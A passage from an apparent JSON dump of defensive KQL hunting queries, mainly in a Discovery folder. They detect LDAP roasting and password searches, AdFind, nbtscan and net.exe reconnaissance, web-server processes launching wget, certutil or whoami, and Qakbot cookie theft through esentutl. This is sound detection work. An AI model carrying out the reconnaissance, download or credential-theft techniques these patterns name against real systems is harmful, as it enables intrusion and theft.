info\r\n\r\n**Contributor:** Mor Rubin\r\n\r\n**GitHub alias:** https://github.com/morRubin\r\n\r\n**Organization:** Microsoft\r\n\r\n**Contact info:** Twitter: MorRubin\r\n\r\n**Contributor:** Oz Soprin\r\n\r\n**GitHub alias:** https://github.com/ozSoprin\r\n\r\n**Organization:** Microsoft\r\n\r\n**Contact info:** Twitter: ozSoprin\r\n"
  },
  {
    "path": "Discovery/PasswordSearch.md",
    "content": "# Detect LDAP queries that search for user password in description or comment\r\n\r\nDetect Active Directory LDAP queries that search for users with comment or description that contains the string \"pass\" that might suggest for the user password\r\n\r\nThis LDAP query cover MetaSploit - enum_ad_user_comments tool\r\n\r\n## Query\r\n\r\n```\r\nlet PersonObject = \"objectCategory=person\";\r\nlet UserClass = \"objectClass=user\";\r\nlet SamAccountUser = \"samAccountType=805306368\";\r\nlet Description = \"description=*pass*\";\r\nlet Comment = \"comment=*pass*\";\r\nIdentityQueryEvents\r\n| where ActionType == \"LDAP query\"\r\n| parse Query with * \"Search Scope: \" SearchScope \", Base Object:\" BaseObject \", Search Filter: \" SearchFilter\r\n| where (SearchFilter contains Description or SearchFilter contains Comment) and\r\n(SearchFilter contains PersonObject or SearchFilter contains UserClass or SearchFilter contains SamAccountUser)\r\n\r\n```\r\n## Category\r\n\r\nThis query can be used the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\r\n\r\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\r\n|------------------------|----------|-------|\r\n| Initial access |  |  |\r\n| Execution |  |  |\r\n| Persistence |  |  | \r\n| Privilege escalation |  |  |\r\n| Defense evasion |  |  | \r\n| Credential Access |  |  | \r\n| Discovery | X |  | \r\n| Lateral movement |  |  | \r\n| Collection |  |  | \r\n| Command and control |  |  | \r\n| Exfiltration |  |  | \r\n| Impact |  |  |\r\n| Vulnerability |  |  |\r\n| Misconfiguration |  |  |\r\n| Malware, component |  |  |\r\n\r\n\r\n## Contributors info\r\n\r\n**Contributor:** Mor Rubin\r\n\r\n**GitHub alias:** https://github.com/morRubin\r\n\r\n**Organization:** Microsoft\r\n\r\n**Contact info:** Twitter: MorRubin\r\n\r\n**Contributor:** Oz Soprin\r\n\r\n**GitHub alias:** https://github.com/ozSoprin\r\n\r\n**Organization:** Microsoft\r\n\r\n**Contact info:** Twitter: ozSoprin\r\n"
  },
  {
    "path": "Discovery/PrevalentInteractiveLogons",
    "content": "// Breaks down the top interactive logged on user for each machine.\n// you can look for a specific user by using the line in comment of where AccountName\nDeviceLogonEvents\n//| where AccountName == \"YOUR ACCOUNT\"\n| where LogonType in (\"Interactive\",\"CachedInteractive\") and ActionType == \"LogonSuccess\"\n| extend parsed = parse_json(AdditionalFields)\n| extend Localcheck = tostring(parsed.IsLocalLogon)\n| where Localcheck notcontains \"false\"\n| summarize timesloggedon=count() by DeviceName, AccountName\n| summarize arg_max(timesloggedon,*) by DeviceName \n"
  },
  {
    "path": "Discovery/Roasting.md",
    "content": "# Detect LDAP queries that search for accounts vulnerable for roasting attacks\r\n\r\nDetect Active Directory LDAP queries that search for Kerberoasting (SPNs) or accounts with Kerberos preauthentication not required from Azure ATP, and try to get the process initiated the LDAP query from MDATP.\r\n\r\nReplace 389 on line 5 with LDAP port in your environment\r\n\r\nReplace true on line 6 to false if you want to include Nt Authority process\r\n\r\nThis LDAP query cover Rubeus, Kerberoast, BloodHound tools\r\n\r\n## Query\r\n\r\n```\r\nlet ASREP_ROASTING = \"userAccountControl:1.2.840.113556.1.4.803:=4194304\";\r\nlet ASREP_ROASTING1 = \"userAccountControl|4194304\";\r\nlet ASREP_ROASTING2 = \"userAccountControl&4194304\";\r\nlet KERBEROASTING = \"serviceprincipalname=*\";\r\nlet LDAP_PORT = 389;\r\nlet ExcludeNtAuthorityProcess = true;\r\nlet AzureAtpLdap = (\r\nIdentityQueryEvents\r\n| where ActionType == \"LDAP query\"\r\n| parse Query with * \"Search Scope: \" SearchScope \", Base Object:\" BaseObject \", Search Filter: \" SearchFilter\r\n| where SearchFilter contains ASREP_ROASTING or\r\nSearchFilter contains ASREP_ROASTING1 or\r\nSearchFilter contains ASREP_ROASTING2 or\r\nSearchFilter contains KERBEROASTING\r\n| extend Time = bin(Timestamp, 1s)\r\n| extend DeviceNameWithoutDomain = tolower(tostring(split(DeviceName, '.')[0])));\r\nlet MDAtpNetworkToProcess = (\r\nDeviceNetworkEvents\r\n| extend DeviceNameWithoutDomain = tolower(tostring(split(DeviceName, '.')[0]))\r\n| where RemotePort == LDAP_PORT\r\n| extend Time = bin(Timestamp, 1s)\r\n| extend isExclude = iff( ExcludeNtAuthorityProcess and InitiatingProcessAccountDomain == \"nt authority\" , true, false));\r\nAzureAtpLdap\r\n| join kind=leftouter (\r\nMDAtpNetworkToProcess ) on DeviceNameWithoutDomain, Time \r\n| where isExclude == false or isnull(isExclude)\r\n\r\n```\r\n## Category\r\n\r\nThis query can be used the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\r\n\r\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\r\n|------------------------|----------|-------|\r\n| Initial access |  |  |\r\n| Execution |  |  |\r\n| Persistence |  |  | \r\n| Privilege escalation |  |  |\r\n| Defense evasion |  |  | \r\n| Credential Access |  |  | \r\n| Discovery | X |  | \r\n| Lateral movement |  |  | \r\n| Collection |  |  | \r\n| Command and control |  |  | \r\n| Exfiltration |  |  | \r\n| Impact |  |  |\r\n| Vulnerability |  |  |\r\n| Misconfiguration |  |  |\r\n| Malware, component |  |  |\r\n\r\n\r\n## Contributors info\r\n\r\n**Contributor:** Mor Rubin\r\n\r\n**GitHub alias:** https://github.com/morRubin\r\n\r\n**Organization:** Microsoft\r\n\r\n**Contact info:** Twitter: MorRubin\r\n\r\n**Contributor:** Oz Soprin\r\n\r\n**GitHub alias:** https://github.com/ozSoprin\r\n\r\n**Organization:** Microsoft\r\n\r\n**Contact info:** Twitter: ozSoprin\r\n"
  },
  {
    "path": "Discovery/SMB shares discovery.txt",
    "content": "// Query for processes that accessed more than 10 IP addresses over port 445 (SMB) - possibly scanning for network shares.\n// To read more about Network Share Discovery, see: https://attack.mitre.org/wiki/Technique/T1135\n// Tags: #SMB, #NetworkScanning, #UniqueProcessId\nDeviceNetworkEvents\n| where RemotePort == 445 and Timestamp > ago(7d) \n    // Exclude Kernel processes, as they are too noisy in this query\n    and InitiatingProcessId !in (0, 4)\n| summarize RemoteIPCount=dcount(RemoteIP) by DeviceName, InitiatingProcessFileName, InitiatingProcessId, InitiatingProcessCreationTime\n| where RemoteIPCount > 10\n\n// Implementation comment:\n// Process IDs are recycled and reused, so are not a unique identifier for a process.\n// For this reason we use a combination of ProcessId and ProcessCreationTime together with the DeviceName or DeviceId.\n// Read more here: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-atp/advanced-hunting-best-practices-windows-defender-advanced-threat-protection\n"
  },
  {
    "path": "Discovery/SensitiveLdaps.md",
    "content": "# Detect LDAP queries for sensitive objects\r\n\r\nDetect Active Directory LDAP queries that search for sensitive objects in the organization\r\n\r\nThis LDAP query cover BloodHound tool\r\n\r\n## Query\r\n\r\n```\r\nlet SensitiveObjects = \"[\\\"Administrators\\\", \\\"Domain Controllers\\\", \\\"Domain Admins\\\", \\\"Account Operators\\\", \\\"Backup Operators\\\", \\\"DnsAdmin\\\", \\\"Enterprise Admins\\\", \\\"Group Policy Creator Owners\\\"]\";\r\nIdentityQueryEvents\r\n| where ActionType == \"LDAP query\"\r\n| parse Query with * \"Search Scope: \" SearchScope \", Base Object:\" BaseObject \", Search Filter: \" SearchFilter\r\n| where SensitiveObjects contains QueryTarget or SearchFilter contains \"admincount=1\"\r\n\r\n```\r\n## Category\r\n\r\nThis query can be used the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\r\n\r\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\r\n|------------------------|----------|-------|\r\n| Initial access |  |  |\r\n| Execution |  |  |\r\n| Persistence |  |  | \r\n| Privilege escalation |  |  |\r\n| Defense evasion |  |  | \r\n| Credential Access |  |  | \r\n| Discovery | X |  | \r\n| Lateral movement |  |  | \r\n| Collection |  |  | \r\n| Command and control |  |  | \r\n| Exfiltration |  |  | \r\n| Impact |  |  |\r\n| Vulnerability |  |  |\r\n| Misconfiguration |  |  |\r\n| Malware, component |  |  |\r\n\r\n\r\n\r\n## Contributors info\r\n\r\n**Contributor:** Mor Rubin\r\n\r\n**GitHub alias:** https://github.com/morRubin\r\n\r\n**Organization:** Microsoft\r\n\r\n**Contact info:** Twitter: MorRubin\r\n\r\n**Contributor:** Oz Soprin\r\n\r\n**GitHub alias:** https://github.com/ozSoprin\r\n\r\n**Organization:** Microsoft\r\n\r\n**Contact info:** Twitter: ozSoprin\r\n"
  },
  {
    "path": "Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md",
    "content": "# Suspicious enumeration using Adfind tool\n\nAttackers can use Adfind which is administrative tool to gather information about domain controllers or ADFS servers. They may also rename executables with other benign tools on the system.\n\nThe below query will look for Adfind usage in command line arguments irrespective of executable name in short span of time. You can limit query this to your DC and ADFS servers.\n\nBelow references talk about suspicious use of adfind by adversaries.\n\n- [AdFind Recon](https://thedfirreport.com/2020/05/08/adfind-recon/)\n- [Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents](https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html)\n- [Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers](https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/)\n\nThis query is inspired by a Azure Sentinel [detection](https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/SecurityEvent/Suspicious_enumeration_using_adfind.yaml).\n\n## Query\n\n```Kusto\nlet startdate = 10d;\nlet lookupwindow = 2m;\nlet threshold = 3; //number of commandlines in the set below\nlet DCADFSServersList = dynamic ([\"DCServer01\", \"DCServer02\", \"ADFSServer01\"]); // Enter a reference list of hostnames for your DC/ADFS servers\nlet tokens = dynamic([\"objectcategory\",\"domainlist\",\"dcmodes\",\"adinfo\",\"trustdmp\",\"computers_pwdnotreqd\",\"Domain Admins\", \"objectcategory=person\", \"objectcategory=computer\", \"objectcategory=*\"]);\nDeviceProcessEvents\n| where Timestamp between (ago(startdate) .. now())\n//| where DeviceName in (DCADFSServersList) // Uncomment to limit it to your DC/ADFS servers list if specified above or any pattern in hostnames (startswith, matches regex, etc).\n| where ProcessCommandLine  has_any (tokens)\n| where ProcessCommandLine matches regex \"(.*)>(.*)\"\n| summarize Commandlines = make_set(ProcessCommandLine), LastObserved=max(Timestamp) by bin(Timestamp, lookupwindow), AccountName, DeviceName, InitiatingProcessFileName, FileName\n| extend Count = array_length(Commandlines)\n| where Count > threshold\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | V |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | |  |\n| Credential Access |  |  |\n| Discovery | V |  |\n| Lateral movement |  |  |\n| Collection | V |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n## See also\n\n- [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-from-nonbrowser[Nobelium].md)\n- [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-response[Nobelium].md)\n- [Compromised certificate [Nobelium]](../Campaigns/compromised-certificate[Nobelium].md)\n- [FireEye Red Team tool CVEs [Nobelium]](../Campaigns/fireeye-red-team-tools-CVEs%20[Nobelium].md)\n- [FireEye Red Team tool HASHs [Nobelium]](../Campaigns/fireeye-red-team-tools-HASHs%20[Nobelium].md)\n- [View data on software identified as affected by Nobelium campaign](../Campaigns/known-affected-software-orion[Nobelium].md)\n- [Locate SolarWinds processes launching suspicious PowerShell commands](../Campaigns/launching-base64-powershell[Nobelium].md)\n- [Locate SolarWinds processes launching command prompt with the echo command](../Campaigns/launching-cmd-echo[Nobelium].md)\n- [Locate Nobelium-related malicious DLLs created in the system or locally](../Campaigns/locate-dll-created-locally[Nobelium].md)\n- [Locate Nobelium-related malicious DLLs loaded in memory](../Campaigns/locate-dll-loaded-in-memory[Nobelium].md)\n- [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](../Campaigns/possible-affected-software-orion[Nobelium].md)\n- [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n- [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n- [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n- [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n- [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n- [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n- [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n- [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n- [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n- [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n- [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n- [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n- [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n- [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n- [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Stefan Sellmer\n**GitHub alias:** @stesell\n**Organization:** Microsoft 365 Defender\n**Contact info:** stesell@microsoft.com"
  },
  {
    "path": "Discovery/URL Detection.txt",
    "content": "// This query finds network communication to specific URL\n// Please note that in line #7 it filters RemoteUrl using has operator, which looks for a \"whole term\" and runs faster.\n// Example: RemoteUrl has \"microsoft\" matches \"www.microsoft.com\" but not \"microsoftonline.com\"\nlet partialRemoteUrlToDetect = \"microsoft.com\"; // Change this to a URL you'd like to find machines connecting to\nDeviceNetworkEvents  \n| where Timestamp > ago(7d)\nand RemoteUrl has partialRemoteUrlToDetect // Can be changed to \"contains\" operator as explained above\n| project Timestamp, DeviceName, DeviceId, ReportId\n| top 100 by Timestamp desc\n"
  },
  {
    "path": "Discovery/VulnComputers.md",
    "content": "# Detect LDAP queries that search for computer operating system\r\n\r\nDetect Active Directory LDAP queries that try to find operating systems that are vulnerable to specific vulnerabilities\r\n\r\nThis LDAP query cover MetaSploit - enum_ad_computers tool\r\n\r\n## Query\r\n\r\n```\r\nlet ComputerObject = \"objectCategory=computer\";\r\nlet ComputerClass = \"objectClass=computer\";\r\nlet SamAccountComputer = \"sAMAccountType=805306369\";\r\nlet OperatingSystem = \"operatingSystem=\";\r\nIdentityQueryEvents\r\n| where ActionType == \"LDAP query\"\r\n| parse Query with * \"Search Scope: \" SearchScope \", Base Object:\" BaseObject \", Search Filter: \" SearchFilter\r\n| where (SearchFilter contains ComputerObject or SearchFilter contains ComputerClass or SearchFilter contains SamAccountComputer) and\r\n SearchFilter contains OperatingSystem\r\n\r\n```\r\n## Category\r\n\r\nThis query can be used the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\r\n\r\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\r\n|------------------------|----------|-------|\r\n| Initial access |  |  |\r\n| Execution |  |  |\r\n| Persistence |  |  | \r\n| Privilege escalation |  |  |\r\n| Defense evasion |  |  | \r\n| Credential Access |  |  | \r\n| Discovery | X |  | \r\n| Lateral movement |  |  | \r\n| Collection |  |  | \r\n| Command and control |  |  | \r\n| Exfiltration |  |  | \r\n| Impact |  |  |\r\n| Vulnerability |  |  |\r\n| Misconfiguration |  |  |\r\n| Malware, component |  |  |\r\n\r\n\r\n\r\n## Contributors info\r\n\r\n**Contributor:** Mor Rubin\r\n\r\n**GitHub alias:** https://github.com/morRubin\r\n\r\n**Organization:** Microsoft\r\n\r\n**Contact info:** Twitter: MorRubin\r\n\r\n**Contributor:** Oz Soprin\r\n\r\n**GitHub alias:** https://github.com/ozSoprin\r\n\r\n**Organization:** Microsoft\r\n\r\n**Contact info:** Twitter: ozSoprin\r\n"
  },
  {
    "path": "Discovery/detect-nbtscan-activity.md",
    "content": "# Detect nbtscan activity\n\nThis query was originally published in the threat analytics report, *Operation Soft Cell*.\n\n[Operation Soft Cell](https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers) is a series of campaigns targeting users' call logs at telecommunications providers throughout the world. These attacks date from as early as 2012.\n\nOperation Soft Cell operators have been known to run *[nbtscan.exe](https://unixwiz.net/tools/nbtscan.html)*, a legitimate MS-DOS command-line tool used to discover any NETBIOS nameservers on a local or remote TCP/IP network.\n\nThe following query detects any nbtscan activity on the system over the past seven days.\n\n## Query\n\n```Kusto\nlet nbtscan = pack_array(\"9af0cb61580dba0e380cddfe9ca43a3e128ed2f8\",\n\"90da10004c8f6fafdaa2cf18922670a745564f45\");\nunion DeviceProcessEvents , DeviceFileEvents \n| where Timestamp > ago(7d)\n| where FileName =~ \"nbtscan.exe\" or SHA1 in (nbtscan)\n| project FolderPath, FileName, InitiatingProcessAccountName,\nInitiatingProcessFileName, ProcessCommandLine, Timestamp\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery | v |  The nbtscan tool is also incorporated in legitimate software packages not associated with Operation Soft Cell, to generate network inventories. After running this query, admins should investigate further to determine if the activity is suspicious. |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Discovery/detect-suspicious-commands-initiated-by-web-server-processes.md",
    "content": "# Detect suspicious commands initiated by web server processes\n\nThis query was originally published in the threat analytics report, *Operation Soft Cell*.\n\n[Operation Soft Cell](https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers) is a series of campaigns targeting users' call logs at telecommunications providers throughout the world. These attacks date from as early as 2012.\n\nOperation Soft Cell operators sometimes use legitimate web server processes to launch commands, especially for network discovery and user/owner discovery. The following query detects activity of this kind.\n\n## Query\n\n```Kusto\n// Suspicious commands launched by web server processes\nDeviceProcessEvents \n| where Timestamp > ago(7d)\n// Pivoting on parents or grand parents\nand (((InitiatingProcessParentFileName in(\"w3wp.exe\", \"beasvc.exe\",\n\"httpd.exe\") or InitiatingProcessParentFileName startswith \"tomcat\")\nor InitiatingProcessFileName in(\"w3wp.exe\", \"beasvc.exe\", \"httpd.exe\") or\nInitiatingProcessFileName startswith \"tomcat\"))\n    and FileName in~('cmd.exe','powershell.exe')\n| where ProcessCommandLine contains '%temp%'\n    or ProcessCommandLine has 'wget'\n    or ProcessCommandLine has 'whoami'\n    or ProcessCommandLine has 'certutil'\n    or ProcessCommandLine has 'systeminfo'\n    or ProcessCommandLine has 'ping'\n    or ProcessCommandLine has 'ipconfig'\n    or ProcessCommandLine has 'timeout'\n| summarize any(Timestamp), any(Timestamp), any(FileName),\nmakeset(ProcessCommandLine), any(InitiatingProcessFileName),\nany(InitiatingProcessParentFileName) by DeviceId\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v | This query detects whenever, over the past seven days, a web server process launched a CLI command. This sort of activity, although suspicious, is not by itself actively harmful. Administrators should investigate further to determine if the event was malicious or associated with Operation Soft Cell. |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery | v |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Discovery/doppelpaymer.md",
    "content": "# Detect DoppelPaymer performing reconnaissance with net.exe\n\nThis query was originally published in the threat analytics report, *Doppelpaymer: More human-operated ransomware*. There is also a related [blog](https://msrc-blog.microsoft.com/2019/11/20/customer-guidance-for-the-dopplepaymer-ransomware/).\n\n[DoppelPaymer](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/DoppelPaymer!MTB&threatId=-2147205372) is ransomware that is spread manually by human operators. These operators have exhibited extensive knowledge of system administration and common network security misconfigurations. For example, they may use *net.exe* to run reconnaissance and find service accounts to target. They often use stolen credentials from over-privileged service accounts to turn off security software, run malicious commands, and spread malware throughout an organization.\n\nThe following query detects the *net.exe* reconnaissance method described above.\n\nThe [See also](#See-also) section below lists links to other queries associated with DoppelPaymer.\n\n## Query\n\n```Kusto\n// Finds Net commands used to locate high-value accounts\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where  FileName == \"net.exe\"\n// Create a set for the command lines\n| summarize makeset(ProcessCommandLine) by DeviceId, bin(Timestamp, 5m)\n// Other process launches by Net in that same timeframe\n| where (set_ProcessCommandLine has \"admin\" \nand set_ProcessCommandLine has_any(\"domain\", \"enterprise\", \"backup operators\"))\nand set_ProcessCommandLine has \"group\" and set_ProcessCommandLine contains \"/do\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery | v |  |\n| Lateral movement | v |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Detect DoppelPaymer operators spreading files with PsExec](../Lateral%20Movement/doppelpaymer-psexec.md)\n* [Detect DoppelPaymer operators stopping services](../Defense%20evasion/doppelpaymer-stop-services.md)\n* [Detect DoppelPaymer operators dumping credentials with ProcDump](../Credential%20Access/doppelpaymer-procdump.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Discovery/qakbot-campaign-esentutl.md",
    "content": "# Browser cookie theft by campaigns using Qakbot malware\n\nThis query was originally published in the threat analytics report, *Qakbot blight lingers, seeds ransomware*\n\n[Qakbot](https://www.microsoft.com/security/blog/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/) is malware that steals login credentials from banking and financial services. It has been deployed against small businesses as well as major corporations. Some outbreaks have involved targeted ransomware campaigns that use a similar set of techniques. Links to related queries are listed under [See also](#See-also).\n\nThe following query detects possible use of the system process, *esentutl.exe*, to look through a user's browser history and steal cookies.\n\n## Query\n\n```Kusto\nDeviceProcessEvents\n| where FileName == \"esentutl.exe\"\n| where ProcessCommandLine has \"WebCache\"\n| where ProcessCommandLine has_any (\"V01\", \"/s\", \"/d\")\n| project ProcessCommandLine, \nInitiatingProcessParentFileName, DeviceId, Timestamp\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access | v |  |\n| Discovery | v |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Self-deletion by Qakbot malware](..\\Defense&#32;evasion\\qakbot-campaign-self-deletion.md)\n* [Process injection by Qakbot malware](..\\Defense&#32;evasion\\qakbot-campaign-process-injection.md)\n* [Registry edits by campaigns using Qakbot malware](..\\Persistence\\qakbot-campaign-registry-edit.md)\n* [Outlook email access by campaigns using Qakbot malware](..\\Discovery\\qakbot-campaign-outlook.md)\n* [Javascript use by Qakbot malware](..\\Execution\\qakbot-campaign-suspicious-javascript.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Discovery/qakbot-campaign-outlook.md",
    "content": "# Outlook email access by campaigns using Qakbot malware\n\nThis query was originally published in the threat analytics report, *Qakbot blight lingers, seeds ransomware*\n\n[Qakbot](https://www.microsoft.com/security/blog/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/) is malware that steals login credentials from banking and financial services. It has been deployed against small businesses as well as major corporations. Some outbreaks have involved targeted ransomware campaigns that use a similar set of techniques. Links to related queries are listed under [See also](#See-also).\n\nThe following query detects attempts to access files in the local path that contain Outlook emails.\n\n## Query\n\n```Kusto\nDeviceFileEvents\n| where FolderPath hasprefix \"EmailStorage\"\n| where FolderPath has \"Outlook\"\n| project FileName, FolderPath, InitiatingProcessFileName,\nInitiatingProcessCommandLine, DeviceId, Timestamp\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery | v |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Self-deletion by Qakbot malware](..\\Defense&#32;evasion\\qakbot-campaign-self-deletion.md)\n* [Process injection by Qakbot malware](..\\Defense&#32;evasion\\qakbot-campaign-process-injection.md)\n* [Registry edits by campaigns using Qakbot malware](..\\Persistence\\qakbot-campaign-registry-edit.md)\n* [Browser cookie theft by campaigns using Qakbot malware](..\\Discovery\\qakbot-campaign-esentutl.md)\n* [Javascript use by Qakbot malware](..\\Execution\\qakbot-campaign-suspicious-javascript.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Email Queries/Appspot Phishing Abuse.md",
    "content": "# Appspot Phishing Abuse\nThis query helps surface phishing campaigns associated with Appspot abuse. These emails frequently contain phishing links that utilize the recipients' own email address as a unique identifier in the URI.\n\nThis campaign was published on Twitter by [@MsftSecIntel](https://twitter.com/MsftSecIntel) at this link: https://twitter.com/MsftSecIntel/status/1374148156301004800  \n## Query\n```\nEmailUrlInfo\n// Detect URLs with a subdomain on appspot.com\n| where UrlDomain matches regex @'\\b[\\w\\-]+-dot-[\\w\\-\\.]+\\.appspot\\.com\\b'\n// Enrich results with sender and recipient data\n| join kind=inner EmailEvents on $left.NetworkMessageId==$right.NetworkMessageId\n// Phishing attempts from Appspot related campaigns typically contain the recipient's email address in the URI\n// Example 1: https://example-dot-example.appspot.com/#recipient@domain.com\n// Example 2: https://example-dot-example.appspot.com/index.html?user=recipient@domain.com\n| where Url has RecipientEmailAddress\n    // Some phishing campaigns pass recipient email as a Base64 encoded string in the URI\n    or Url has base64_encode_tostring(RecipientEmailAddress)\n| project-away Timestamp1, NetworkMessageId1, ReportId1 \n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v | Credential phishing |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and 